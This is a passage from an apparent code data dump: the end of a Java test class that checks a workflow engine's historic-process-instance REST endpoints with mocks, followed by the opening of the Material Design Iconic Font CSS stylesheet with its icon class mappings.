eq(TEST_DELETE_REASON));\n }\n\n @Test\n public void testDeleteAsyncWithQuery() {\n Batch batchEntity = MockProvider.createMockBatch();\n when(historyServiceMock.deleteHistoricProcessInstancesAsync(\n anyListOf(String.class),\n any(HistoricProcessInstanceQuery.class),\n anyString())\n ).thenReturn(batchEntity);\n\n Map messageBodyJson = new HashMap();\n messageBodyJson.put(DELETE_REASON, TEST_DELETE_REASON);\n HistoricProcessInstanceQueryDto query = new HistoricProcessInstanceQueryDto();\n messageBodyJson.put(\"historicProcessInstanceQuery\", query);\n\n Response response = given()\n .contentType(ContentType.JSON).body(messageBodyJson)\n .then().expect()\n .statusCode(Status.OK.getStatusCode())\n .when().post(DELETE_HISTORIC_PROCESS_INSTANCES_ASYNC_URL);\n\n verifyBatchJson(response.asString());\n\n verify(historyServiceMock, times(1)).deleteHistoricProcessInstancesAsync(\n eq((List) null), any(HistoricProcessInstanceQuery.class), Mockito.eq(TEST_DELETE_REASON));\n }\n\n\n @Test\n public void testDeleteAsyncWithBadRequestQuery() {\n doThrow(new BadUserRequestException(\"process instance ids are empty\"))\n .when(historyServiceMock).deleteHistoricProcessInstancesAsync(eq((List) null), eq((HistoricProcessInstanceQuery) null), anyString());\n\n Map messageBodyJson = new HashMap();\n messageBodyJson.put(DELETE_REASON, TEST_DELETE_REASON);\n\n given()\n .contentType(ContentType.JSON).body(messageBodyJson)\n .then().expect()\n .statusCode(Status.BAD_REQUEST.getStatusCode())\n .when().post(DELETE_HISTORIC_PROCESS_INSTANCES_ASYNC_URL);\n }\n \n @Test\n public void testDeleteAllVariablesByProcessInstanceId() {\n given()\n .pathParam(\"id\", EXAMPLE_PROCESS_INSTANCE_ID)\n .expect()\n .statusCode(Status.NO_CONTENT.getStatusCode())\n .when()\n .delete(HISTORIC_SINGLE_PROCESS_INSTANCE_VARIABLES_URL);\n\n verify(historyServiceMock).deleteHistoricVariableInstancesByProcessInstanceId(EXAMPLE_PROCESS_INSTANCE_ID);\n }\n \n @Test\n public void testDeleteAllVariablesForNonExistingProcessInstance() {\n doThrow(new NotFoundException(\"No historic process instance found with id: 'NON_EXISTING_ID'\"))\n .when(historyServiceMock).deleteHistoricVariableInstancesByProcessInstanceId(\"NON_EXISTING_ID\");\n \n given()\n .pathParam(\"id\", \"NON_EXISTING_ID\")\n .expect()\n .statusCode(Status.NOT_FOUND.getStatusCode())\n .body(containsString(\"No historic process instance found with id: 'NON_EXISTING_ID'\"))\n .when()\n .delete(HISTORIC_SINGLE_PROCESS_INSTANCE_VARIABLES_URL);\n }\n\n @Test\n public void shouldSetRemovalTime_ByIds() {\n SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder builderMock =\n mock(SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder.class, RETURNS_DEEP_STUBS);\n\n when(historyServiceMock.setRemovalTimeToHistoricProcessInstances()).thenReturn(builderMock);\n\n Map payload = new HashMap<>();\n payload.put(\"historicProcessInstanceIds\", Collections.singletonList(EXAMPLE_PROCESS_INSTANCE_ID));\n payload.put(\"calculatedRemovalTime\", true);\n\n given()\n .contentType(ContentType.JSON)\n .body(payload)\n .then()\n .expect().statusCode(Status.OK.getStatusCode())\n .when()\n .post(SET_REMOVAL_TIME_HISTORIC_PROCESS_INSTANCES_ASYNC_URL);\n\n SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder builder =\n historyServiceMock.setRemovalTimeToHistoricProcessInstances();\n\n verify(builder).calculatedRemovalTime();\n verify(builder).byIds(EXAMPLE_PROCESS_INSTANCE_ID);\n verify(builder).byQuery(null);\n verify(builder).executeAsync();\n verifyNoMoreInteractions(builder);\n }\n\n @Test\n public void shouldSetRemovalTime_ByQuery() {\n SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder builderMock =\n mock(SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder.class, RETURNS_DEEP_STUBS);\n\n when(historyServiceMock.setRemovalTimeToHistoricProcessInstances()).thenReturn(builderMock);\n\n HistoricProcessInstanceQuery query = mock(HistoricProcessInstanceQueryImpl.class, RETURNS_DEEP_STUBS);\n when(historyServiceMock.createHistoricProcessInstanceQuery()).thenReturn(query);\n\n Map payload = new HashMap<>();\n payload.put(\"calculatedRemovalTime\", true);\n payload.put(\"historicProcessInstanceQuery\", Collections.singletonMap(\"processDefinitionId\", EXAMPLE_PROCESS_DEFINITION_ID));\n\n given()\n .contentType(ContentType.JSON)\n .body(payload)\n .then()\n .expect().statusCode(Status.OK.getStatusCode())\n .when()\n .post(SET_REMOVAL_TIME_HISTORIC_PROCESS_INSTANCES_ASYNC_URL);\n\n SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder builder =\n historyServiceMock.setRemovalTimeToHistoricProcessInstances();\n\n verify(query).processDefinitionId(EXAMPLE_PROCESS_DEFINITION_ID);\n\n verify(builder).calculatedRemovalTime();\n verify(builder).byIds(null);\n verify(builder).byQuery(query);\n verify(builder).executeAsync();\n verifyNoMoreInteractions(builder);\n }\n\n @Test\n public void shouldSetRemovalTime_Absolute() {\n Date removalTime = new Date();\n\n SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder builderMock =\n mock(SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder.class, RETURNS_DEEP_STUBS);\n\n when(historyServiceMock.setRemovalTimeToHistoricProcessInstances()).thenReturn(builderMock);\n\n Map payload = new HashMap<>();\n payload.put(\"historicProcessInstanceIds\", Collections.singletonList(EXAMPLE_PROCESS_INSTANCE_ID));\n payload.put(\"absoluteRemovalTime\", removalTime);\n\n given()\n .contentType(ContentType.JSON)\n .body(payload)\n .then()\n .expect().statusCode(Status.OK.getStatusCode())\n .when()\n .post(SET_REMOVAL_TIME_HISTORIC_PROCESS_INSTANCES_ASYNC_URL);\n\n SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder builder =\n historyServiceMock.setRemovalTimeToHistoricProcessInstances();\n\n verify(builder).absoluteRemovalTime(removalTime);\n verify(builder).byIds(EXAMPLE_PROCESS_INSTANCE_ID);\n verify(builder).byQuery(null);\n verify(builder).executeAsync();\n verifyNoMoreInteractions(builder);\n }\n\n @Test\n public void shouldNotSetRemovalTime_Absolute() {\n SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder builderMock =\n mock(SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder.class, RETURNS_DEEP_STUBS);\n\n when(historyServiceMock.setRemovalTimeToHistoricProcessInstances()).thenReturn(builderMock);\n\n Map payload = new HashMap<>();\n payload.put(\"historicProcessInstanceIds\", Collections.singletonList(EXAMPLE_PROCESS_INSTANCE_ID));\n payload.put(\"absoluteRemovalTime\", null);\n\n given()\n .contentType(ContentType.JSON)\n .body(payload)\n .then()\n .expect().statusCode(Status.OK.getStatusCode())\n .when()\n .post(SET_REMOVAL_TIME_HISTORIC_PROCESS_INSTANCES_ASYNC_URL);\n\n SetRemovalTimeToHistoricProcessInstancesBuilder builder =\n historyServiceMock.setRemovalTimeToHistoricProcessInstances();\n\n verify(builder).byIds(EXAMPLE_PROCESS_INSTANCE_ID);\n verify(builder).byQuery(null);\n verify(builder).executeAsync();\n verifyNoMoreInteractions(builder);\n }\n\n @Test\n public void shouldClearRemovalTime() {\n SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder builderMock =\n mock(SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder.class, RETURNS_DEEP_STUBS);\n\n when(historyServiceMock.setRemovalTimeToHistoricProcessInstances())\n .thenReturn(builderMock);\n\n Map payload = new HashMap<>();\n payload.put(\"historicProcessInstanceIds\", Collections.singletonList(EXAMPLE_PROCESS_INSTANCE_ID));\n payload.put(\"clearedRemovalTime\", true);\n\n given()\n .contentType(ContentType.JSON)\n .body(payload)\n .then()\n .expect().statusCode(Status.OK.getStatusCode())\n .when()\n .post(SET_REMOVAL_TIME_HISTORIC_PROCESS_INSTANCES_ASYNC_URL);\n\n SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder builder =\n historyServiceMock.setRemovalTimeToHistoricProcessInstances();\n\n verify(builder).clearedRemovalTime();\n verify(builder).byIds(EXAMPLE_PROCESS_INSTANCE_ID);\n verify(builder).byQuery(null);\n verify(builder).executeAsync();\n verifyNoMoreInteractions(builder);\n }\n\n @Test\n public void shouldSetRemovalTime_Response() {\n SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder builderMock =\n mock(SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder.class, RETURNS_DEEP_STUBS);\n\n when(historyServiceMock.setRemovalTimeToHistoricProcessInstances()).thenReturn(builderMock);\n\n Batch batchEntity = MockProvider.createMockBatch();\n when(builderMock.executeAsync()).thenReturn(batchEntity);\n\n Response response = given()\n .contentType(ContentType.JSON)\n .body(Collections.emptyMap())\n .then()\n .expect().statusCode(Status.OK.getStatusCode())\n .when()\n .post(SET_REMOVAL_TIME_HISTORIC_PROCESS_INSTANCES_ASYNC_URL);\n\n verifyBatchJson(response.asString());\n }\n\n @Test\n public void shouldSetRemovalTime_ThrowBadUserException() {\n SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder builderMock =\n mock(SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder.class, RETURNS_DEEP_STUBS);\n\n when(historyServiceMock.setRemovalTimeToHistoricProcessInstances()).thenReturn(builderMock);\n\n doThrow(BadUserRequestException.class).when(builderMock).executeAsync();\n\n given()\n .contentType(ContentType.JSON)\n .body(Collections.emptyMap())\n .then()\n .expect().statusCode(Status.BAD_REQUEST.getStatusCode())\n .when()\n .post(SET_REMOVAL_TIME_HISTORIC_PROCESS_INSTANCES_ASYNC_URL);\n }\n\n @Test\n public void testOrQuery() {\n // given\n HistoricProcessInstanceQueryImpl mockedQuery = mock(HistoricProcessInstanceQueryImpl.class);\n when(historyServiceMock.createHistoricProcessInstanceQuery()).thenReturn(mockedQuery);\n\n String payload = \"{ \\\"orQueries\\\": [{\" +\n \"\\\"processDefinitionKey\\\": \\\"aKey\\\", \" +\n \"\\\"processInstanceBusinessKey\\\": \\\"aBusinessKey\\\"}] }\";\n\n // when\n given()\n .contentType(POST_JSON_CONTENT_TYPE)\n .header(ACCEPT_JSON_HEADER)\n .body(payload)\n .then().expect()\n .statusCode(Status.OK.getStatusCode())\n .when()\n .post(HISTORIC_PROCESS_INSTANCE_URL);\n\n ArgumentCaptor argument =\n ArgumentCaptor.forClass(HistoricProcessInstanceQueryImpl.class);\n\n verify(mockedQuery).addOrQuery(argument.capture());\n\n // then\n assertThat(argument.getValue().getProcessDefinitionKey()).isEqualTo(\"aKey\");\n assertThat(argument.getValue().getBusinessKey()).isEqualTo(\"aBusinessKey\");\n }\n\n protected void verifyBatchJson(String batchJson) {\n BatchDto batch = JsonPathUtil.from(batchJson).getObject(\"\", BatchDto.class);\n assertNotNull(\"The returned batch should not be null.\", batch);\n assertEquals(MockProvider.EXAMPLE_BATCH_ID, batch.getId());\n assertEquals(MockProvider.EXAMPLE_BATCH_TYPE, batch.getType());\n assertEquals(MockProvider.EXAMPLE_BATCH_TOTAL_JOBS, batch.getTotalJobs());\n assertEquals(MockProvider.EXAMPLE_BATCH_JOBS_PER_SEED, batch.getBatchJobsPerSeed());\n assertEquals(MockProvider.EXAMPLE_INVOCATIONS_PER_BATCH_JOB, batch.getInvocationsPerBatchJob());\n assertEquals(MockProvider.EXAMPLE_SEED_JOB_DEFINITION_ID, batch.getSeedJobDefinitionId());\n assertEquals(MockProvider.EXAMPLE_MONITOR_JOB_DEFINITION_ID, batch.getMonitorJobDefinitionId());\n assertEquals(MockProvider.EXAMPLE_BATCH_JOB_DEFINITION_ID, batch.getBatchJobDefinitionId());\n assertEquals(MockProvider.EXAMPLE_TENANT_ID, batch.getTenantId());\n }\n\n\n}\n"} {"text": "/*!\n * Material Design Iconic Font 1.0.1 by Sergey Kupletsky (@zavoloklom) - http://zavoloklom.github.io/material-design-iconic-font/\n * License - https://github.com/zavoloklom/material-design-iconic-font/blob/gh-pages/License.md (Attribution-ShareAlike 4.0 International license)\n */\n@font-face {\n font-family: 'Material Design Iconic Font';\n src: url('../fonts/Material-Design-Iconic-Font.eot?v=1.0.1');\n src: url('../fonts/Material-Design-Iconic-Font.eot?#iefix&v=1.0.1') format('embedded-opentype'), url('../fonts/Material-Design-Iconic-Font.woff?v=1.0.1') format('woff'), url('../fonts/Material-Design-Iconic-Font.ttf?v=1.0.1') format('truetype'), url('../fonts/Material-Design-Iconic-Font.svg?v=1.0.1#Material-Design-Iconic-Font') format('svg');\n font-weight: normal;\n font-style: normal;\n}\n[class^=\"md-\"],\n[class*=\" md-\"] {\n display: inline-block;\n font: normal normal normal 14px/1 'Material Design Iconic Font';\n font-size: inherit;\n speak: none;\n text-rendering: auto;\n -webkit-font-smoothing: antialiased;\n -moz-osx-font-smoothing: grayscale;\n}\n.md {\n line-height: inherit;\n vertical-align: bottom;\n}\n.md-lg {\n font-size: 1.5em;\n line-height: .5em;\n vertical-align: -35%;\n}\n.md-2x {\n font-size: 2em;\n}\n.md-3x {\n font-size: 3em;\n}\n.md-4x {\n font-size: 4em;\n}\n.md-5x {\n font-size: 5em;\n}\n.md-border {\n padding: .2em .25em .15em;\n border: solid 0.08em #808080;\n border-radius: .1em;\n}\n.md-border-circle {\n padding: .2em .25em .15em;\n border: solid 0.08em #808080;\n border-radius: 50%;\n}\n[class^=\"md-\"].pull-left,\n[class*=\" md-\"].pull-left {\n float: left;\n margin-right: .3em;\n}\n[class^=\"md-\"].pull-right,\n[class*=\" md-\"].pull-right {\n float: right;\n margin-left: .3em;\n}\n.md-spin {\n -webkit-animation: md-spin 1.5s infinite linear;\n animation: md-spin 1.5s infinite linear;\n}\n.md-spin-reverse {\n -webkit-animation: md-spin-reverse 1.5s infinite linear;\n animation: md-spin-reverse 1.5s infinite linear;\n}\n@-webkit-keyframes md-spin {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg);\n }\n 100% {\n -webkit-transform: rotate(359deg);\n transform: rotate(359deg);\n }\n}\n@keyframes md-spin {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg);\n }\n 100% {\n -webkit-transform: rotate(359deg);\n transform: rotate(359deg);\n }\n}\n@-webkit-keyframes md-spin-reverse {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg);\n }\n 100% {\n -webkit-transform: rotate(-359deg);\n transform: rotate(-359deg);\n }\n}\n@keyframes md-spin-reverse {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg);\n }\n 100% {\n -webkit-transform: rotate(-359deg);\n transform: rotate(-359deg);\n }\n}\n.md-rotate-90 {\n filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);\n -webkit-transform: rotate(90deg);\n -ms-transform: rotate(90deg);\n transform: rotate(90deg);\n}\n.md-rotate-180 {\n filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2);\n -webkit-transform: rotate(180deg);\n -ms-transform: rotate(180deg);\n transform: rotate(180deg);\n}\n.md-rotate-270 {\n filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3);\n -webkit-transform: rotate(270deg);\n -ms-transform: rotate(270deg);\n transform: rotate(270deg);\n}\n.md-flip-horizontal {\n filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1);\n -webkit-transform: scale(-1, 1);\n -ms-transform: scale(-1, 1);\n transform: scale(-1, 1);\n}\n.md-flip-vertical {\n filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1);\n -webkit-transform: scale(1, -1);\n -ms-transform: scale(1, -1);\n transform: scale(1, -1);\n}\n:root .md-rotate-90,\n:root .md-rotate-180,\n:root .md-rotate-270,\n:root .md-flip-horizontal,\n:root .md-flip-vertical {\n filter: none;\n}\n/* Material Design Iconic Font uses the Unicode Private Use Area (PUA) to ensure screen\n readers do not read off random characters that represent icons */\n/* If you do not want use all icons you can disable icon set here */\n.md-3d-rotation:before {\n content: \"\\f000\";\n}\n.md-accessibility:before {\n content: \"\\f001\";\n}\n.md-account-balance:before {\n content: \"\\f002\";\n}\n.md-account-balance-wallet:before {\n content: \"\\f003\";\n}\n.md-account-box:before {\n content: \"\\f004\";\n}\n.md-account-child:before {\n content: \"\\f005\";\n}\n.md-account-circle:before {\n content: \"\\f006\";\n}\n.md-add-shopping-cart:before {\n content: \"\\f007\";\n}\n.md-alarm:before {\n content: \"\\f008\";\n}\n.md-alarm-add:before {\n content: \"\\f009\";\n}\n.md-alarm-off:before {\n content: \"\\f00a\";\n}\n.md-alarm-on:before {\n content: \"\\f00b\";\n}\n.md-android:before {\n content: \"\\f00c\";\n}\n.md-announcement:before {\n content: \"\\f00d\";\n}\n.md-aspect-ratio:before {\n content: \"\\f00e\";\n}\n.md-assessment:before {\n content: \"\\f00f\";\n}\n.md-assignment:before {\n content: \"\\f010\";\n}\n.md-assignment-ind:before {\n content: \"\\f011\";\n}\n.md-assignment-late:before {\n content: \"\\f012\";\n}\n.md-assignment-return:before {\n content: \"\\f013\";\n}\n.md-assignment-returned:before {\n content: \"\\f014\";\n}\n.md-assignment-turned-in:before {\n content: \"\\f015\";\n}\n.md-autorenew:before {\n content: \"\\f016\";\n}\n.md-backup:before {\n content: \"\\f017\";\n}\n.md-book:before {\n content: \"\\f018\";\n}\n.md-bookmark:before {\n content: \"\\f019\";\n}\n.md-bookmark-outline:before {\n content: \"\\f01a\";\n}\n.md-bug-report:before {\n content: \"\\f01b\";\n}\n.md-cached:before {\n content: \"\\f01c\";\n}\n.md-class:before {\n content: \"\\f01d\";\n}\n.md-credit-card:before {\n content: \"\\f01e\";\n}\n.md-dashboard:before {\n content: \"\\f01f\";\n}\n.md-delete:before {\n content: \"\\f020\";\n}\n.md-description:before {\n content: \"\\f021\";\n}\n.md-dns:before {\n content: \"\\f022\";\n}\n.md-done:before {\n content: \"\\f023\";\n}\n.md-done-all:before {\n content: \"\\f024\";\n}\n.md-event:before {\n content: \"\\f025\";\n}\n.md-exit-to-app:before {\n content: \"\\f026\";\n}\n.md-explore:before {\n content: \"\\f027\";\n}\n.md-extension:before {\n content: \"\\f028\";\n}\n.md-face-unlock:before {\n content: \"\\f029\";\n}\n.md-favorite:before {\n content: \"\\f02a\";\n}\n.md-favorite-outline:before {\n content: \"\\f02b\";\n}\n.md-find-in-page:before {\n content: \"\\f02c\";\n}\n.md-find-replace:before {\n content: \"\\f02d\";\n}\n.md-flip-to-back:before {\n content: \"\\f02e\";\n}\n.md-flip-to-front:before {\n content: \"\\f02f\";\n}\n.md-get-app:before {\n content: \"\\f030\";\n}\n.md-grade:before {\n content: \"\\f031\";\n}\n.md-group-work:before {\n content: \"\\f032\";\n}\n.md-help:before {\n content: \"\\f033\";\n}\n.md-highlight-remove:before {\n content: \"\\f034\";\n}\n.md-history:before {\n content: \"\\f035\";\n}\n.md-home:before {\n content: \"\\f036\";\n}\n.md-https:before {\n content: \"\\f037\";\n}\n.md-info:before {\n content: \"\\f038\";\n}\n.md-info-outline:before {\n content: \"\\f039\";\n}\n.md-input:before {\n content: \"\\f03a\";\n}\n.md-invert-colors:before {\n content: \"\\f03b\";\n}\n.md-label:before {\n content: \"\\f03c\";\n}\n.md-label-outline:before {\n content: \"\\f03d\";\n}\n.md-language:before {\n content: \"\\f03e\";\n}\n.md-launch:before {\n content: \"\\f03f\";\n}\n.md-list:before {\n content: \"\\f040\";\n}\n.md-lock:before {\n content: \"\\f041\";\n}\n.md-lock-open:before {\n content: \"\\f042\";\n}\n.md-lock-outline:before {\n content: \"\\f043\";\n}\n.md-loyalty:before {\n content: \"\\f044\";\n}\n.md-markunread-mailbox:before {\n content: \"\\f045\";\n}\n.md-note-add:before {\n content: \"\\f046\";\n}\n.md-open-in-browser:before {\n content: \"\\f047\";\n}\n.md-open-in-new:before {\n content: \"\\f048\";\n}\n.md-open-with:before {\n content: \"\\f049\";\n}\n.md-pageview:before {\n content: \"\\f04a\";\n}\n.md-payment:before {\n content: \"\\f04b\";\n}\n.md-perm-camera-mic:before {\n content: \"\\f04c\";\n}\n.md-perm-contact-cal:before {\n content: \"\\f04d\";\n}\n.md-perm-data-setting:before {\n content: \"\\f04e\";\n}\n.md-perm-device-info:before {\n content: \"\\f04f\";\n}\n.md-perm-identity:before {\n content: \"\\f050\";\n}\n.md-perm-media:before {\n content: \"\\f051\";\n}\n.md-perm-phone-msg:before {\n content: \"\\f052\";\n}\n.md-perm-scan-wifi:before {\n content: \"\\f053\";\n}\n.md-picture-in-picture:before {\n content: \"\\f054\";\n}\n.md-polymer:before {\n content: \"\\f055\";\n}\n.md-print:before {\n content: \"\\f056\";\n}\n.md-query-builder:before {\n content: \"\\f057\";\n}\n.md-question-answer:before {\n content: \"\\f058\";\n}\n.md-receipt:before {\n content: \"\\f059\";\n}\n.md-redeem:before {\n content: \"\\f05a\";\n}\n.md-report-problem:before {\n content: \"\\f05b\";\n}\n.md-restore:before {\n content: \"\\f05c\";\n}\n.md-room:before {\n content: \"\\f05d\";\n}\n.md-schedule:before {\n content: \"\\f05e\";\n}\n.md-search:before {\n content: \"\\f05f\";\n}\n.md-settings:before {\n content: \"\\f060\";\n}\n.md-settings-applications:before {\n content: \"\\f061\";\n}\n.md-settings-backup-restore:before {\n content: \"\\f062\";\n}\n.md-settings-bluetooth:before {\n content: \"\\f063\";\n}\n.md-settings-cell:before {\n content: \"\\f064\";\n}\n.md-settings-display:before {\n content: \"\\f065\";\n}\n.md-settings-ethernet:before {\n content: \"\\f066\";\n}\n.md-settings-input-antenna:before {\n content: \"\\f067\";\n}\n.md-settings-input-component:before {\n content: \"\\f068\";\n}\n.md-settings-input-composite:before {\n content: \"\\f069\";\n}\n.md-settings-input-hdmi:before {\n content: \"\\f06a\";\n}\n.md-settings-input-svideo:before {\n content: \"\\f06b\";\n}\n.md-settings-overscan:before {\n content: \"\\f06c\";\n}\n.md-settings-phone:before {\n content: \"\\f06d\";\n}\n.md-settings-power:before {\n content: \"\\f06e\";\n}\n.md-settings-remote:before {\n content: \"\\f06f\";\n}\n.md-settings-voice:before {\n content: \"\\f070\";\n}\n.md-shop:before {\n content: \"\\f071\";\n}\n.md-shopping-basket:before {\n content: \"\\f072\";\n}\n.md-shopping-cart:before {\n content: \"\\f073\";\n}\n.md-shop-two:before {\n content: \"\\f074\";\n}\n.md-speaker-notes:before {\n content: \"\\f075\";\n}\n.md-spellcheck:before {\n content: \"\\f076\";\n}\n.md-star-rate:before {\n content: \"\\f077\";\n}\n.md-stars:before {\n content: \"\\f078\";\n}\n.md-store:before {\n content: \"\\f079\";\n}\n.md-subject:before {\n content: \"\\f07a\";\n}\n.md-swap-horiz:before {\n content: \"\\f07b\";\n}\n.md-swap-vert:before {\n content: \"\\f07c\";\n}\n.md-swap-vert-circle:before {\n content: \"\\f07d\";\n}\n.md-system-update-tv:before {\n content: \"\\f07e\";\n}\n.md-tab:before {\n content: \"\\f07f\";\n}\n.md-tab-unselected:before {\n content: \"\\f080\";\n}\n.md-theaters:before {\n content: \"\\f081\";\n}\n.md-thumb-down:before {\n content: \"\\f082\";\n}\n.md-thumbs-up-down:before {\n content: \"\\f083\";\n}\n.md-thumb-up:before {\n content: \"\\f084\";\n}\n.md-toc:before {\n content: \"\\f085\";\n}\n.md-today:before {\n content: \"\\f086\";\n}\n.md-track-changes:before {\n content: \"\\f087\";\n}\n.md-translate:before {\n content: \"\\f088\";\n}\n.md-trending-down:before {\n content: \"\\f089\";\n}\n.md-trending-neutral:before {\n content: \"\\f08a\";\n}\n.md-trending-up:before {\n content: \"\\f08b\";\n}\n.md-turned-in:before {\n content: \"\\f08c\";\n}\n.md-turned-in-not:before {\n content: \"\\f08d\";\n}\n.md-verified-user:before {\n content: \"\\f08e\";\n}\n.md-view-agenda:before {\n content: \"\\f08f\";\n}\n.md-view-array:before {\n content: \"\\f090\";\n}\n.md-view-carousel:before {\n content: \"\\f091\";\n}\n.md-view-column:before {\n content: \"\\f092\";\n}\n.md-view-day:before {\n content: \"\\f093\";\n}\n.md-view-headline:before {\n content: \"\\f094\";\n}\n.md-view-list:before {\n content: \"\\f095\";\n}\n.md-view-module:before {\n content: \"\\f096\";\n}\n.md-view-quilt:before {\n content: \"\\f097\";\n}\n.md-view-stream:before {\n content: \"\\f098\";\n}\n.md-view-week:before {\n content: \"\\f099\";\n}\n.md-visibility:before {\n content: \"\\f09a\";\n}\n.md-visibility-off:before {\n content: \"\\f09b\";\n}\n.md-wallet-giftcard:before {\n content: \"\\f09c\";\n}\n.md-wallet-membership:before {\n content: \"\\f09d\";\n}\n.md-wallet-travel:before {\n content: \"\\f09e\";\n}\n.md-work:before {\n content: \"\\f09f\";\n}\n.md-error:before {\n content: \"\\f0a0\";\n}\n.md-warning:before {\n content: \"\\f0a1\";\n}\n.md-album:before {\n content: \"\\f0a2\";\n}\n.md-av-timer:before {\n content: \"\\f0a3\";\n}\n.md-closed-caption:before {\n content: \"\\f0a4\";\n}\n.md-equalizer:before {\n content: \"\\f0a5\";\n}\n.md-explicit:before {\n content: \"\\f0a6\";\n}\n.md-fast-forward:before {\n content: \"\\f0a7\";\n}\n.md-fast-rewind:before {\n content: \"\\f0a8\";\n}\n.md-games:before {\n content: \"\\f0a9\";\n}\n.md-hearing:before {\n content: \"\\f0aa\";\n}\n.md-high-quality:before {\n content: \"\\f0ab\";\n}\n.md-loop:before {\n content: \"\\f0ac\";\n}\n.md-mic:before {\n content: \"\\f0ad\";\n}\n.md-mic-none:before {\n content: \"\\f0ae\";\n}\n.md-mic-off:before {\n content: \"\\f0af\";\n}\n.md-movie:before {\n content: \"\\f0b0\";\n}\n.md-my-library-add:before {\n content: \"\\f0b1\";\n}\n.md-my-library-books:before {\n content: \"\\f0b2\";\n}\n.md-my-library-music:before {\n content: \"\\f0b3\";\n}\n.md-new-releases:before {\n content: \"\\f0b4\";\n}\n.md-not-interested:before {\n content: \"\\f0b5\";\n}\n.md-pause:before {\n content: \"\\f0b6\";\n}\n.md-pause-circle-fill:before {\n content: \"\\f0b7\";\n}\n.md-pause-circle-outline:before {\n content: \"\\f0b8\";\n}\n.md-play-arrow:before {\n content: \"\\f0b9\";\n}\n.md-play-circle-fill:before {\n content: \"\\f0ba\";\n}\n.md-play-circle-outline:before {\n content: \"\\f0bb\";\n}\n.md-playlist-add:before {\n content: \"\\f0bc\";\n}\n.md-play-shopping-bag:before {\n content: \"\\f0bd\";\n}\n.md-queue:before {\n content: \"\\f0be\";\n}\n.md-queue-music:before {\n content: \"\\f0bf\";\n}\n.md-radio:before {\n content: \"\\f0c0\";\n}\n.md-recent-actors:before {\n content: \"\\f0c1\";\n}\n.md-repeat:before {\n content: \"\\f0c2\";\n}\n.md-repeat-one:before {\n content: \"\\f0c3\";\n}\n.md-replay:before {\n content: \"\\f0c4\";\n}\n.md-shuffle:before {\n content: \"\\f0c5\";\n}\n.md-skip-next:before {\n content: \"\\f0c6\";\n}\n.md-skip-previous:before {\n content: \"\\f0c7\";\n}\n.md-snooze:before {\n content: \"\\f0c8\";\n}\n.md-stop:before {\n content: \"\\f0c9\";\n}\n.md-subtitles:before {\n content: \"\\f0ca\";\n}\n.md-surround-sound:before {\n content: \"\\f0cb\";\n}\n.md-videocam:before {\n content: \"\\f0cc\";\n}\n.md-videocam-off:before {\n content: \"\\f0cd\";\n}\n.md-video-collection:before {\n content: \"\\f0ce\";\n}\n.md-volume-down:before {\n content: \"\\f0cf\";\n}\n.md-volume-mute:before {\n content: \"\\f0d0\";\n}\n.md-volume-off:before {\n content: \"\\f0d1\";\n}\n.md-volume-up:before {\n content: \"\\f0d2\";\n}\n.md-web:before {\n content: \"\\f0d3\";\n}\n.md-business:before {\n content: \"\\f0d4\";\n}\n.md-call:before {\n content: \"\\f0d5\";\n}\n.md-call-end:before {\n content: \"\\f0d6\";\n}\n.md-call-made:before {\n content: \"\\f0d7\";\n}\n.md-call-merge:before {\n content: \"\\f0d8\";\n}\n.md-call-missed:before {\n content: \"\\f0d9\";\n}\n.md-call-received:before {\n content: \"\\f0da\";\n}\n.md-call-split:before {\n content: \"\\f0db\";\n}\n.md-chat:before {\n content: \"\\f0dc\";\n}\n.md-clear-all:before {\n content: \"\\f0dd\";\n}\n.md-comment:before {\n content: \"\\f0de\";\n}\n.md-contacts:before {\n content: \"\\f0df\";\n}\n.md-dialer-sip:before {\n content: \"\\f0e0\";\n}\n.md-dialpad:before {\n content: \"\\f0e1\";\n}\n.md-dnd-on:before {\n content: \"\\f0e2\";\n}\n.md-email:before {\n content: \"\\f0e3\";\n}\n.md-forum:before {\n content: \"\\f0e4\";\n}\n.md-import-export:before {\n content: \"\\f0e5\";\n}\n.md-invert-colors-off:before {\n content: \"\\f0e6\";\n}\n.md-invert-colors-on:before {\n content: \"\\f0e7\";\n}\n.md-live-help:before {\n content: \"\\f0e8\";\n}\n.md-location-off:before {\n content: \"\\f0e9\";\n}\n.md-location-on:before {\n content: \"\\f0ea\";\n}\n.md-message:before {\n content: \"\\f0eb\";\n}\n.md-messenger:before {\n content: \"\\f0ec\";\n}\n.md-no-sim:before {\n content: \"\\f0ed\";\n}\n.md-phone:before {\n content: \"\\f0ee\";\n}\n.md-portable-wifi-off:before {\n content: \"\\f0ef\";\n}\n.md-quick-contacts-dialer:before {\n content: \"\\f0f0\";\n}\n.md-quick-contacts-mail:before {\n content: \"\\f0f1\";\n}\n.md-ring-volume:before {\n content: \"\\f0f2\";\n}\n.md-stay-current-landscape:before {\n content: \"\\f0f3\";\n}\n.md-stay-current-portrait:before {\n content: \"\\f0f4\";\n}\n.md-stay-primary-landscape:before {\n content: \"\\f0f5\";\n}\n.md-stay-primary-portrait:before {\n content: \"\\f0f6\";\n}\n.md-swap-calls:before {\n content: \"\\f0f7\";\n}\n.md-textsms:before {\n content: 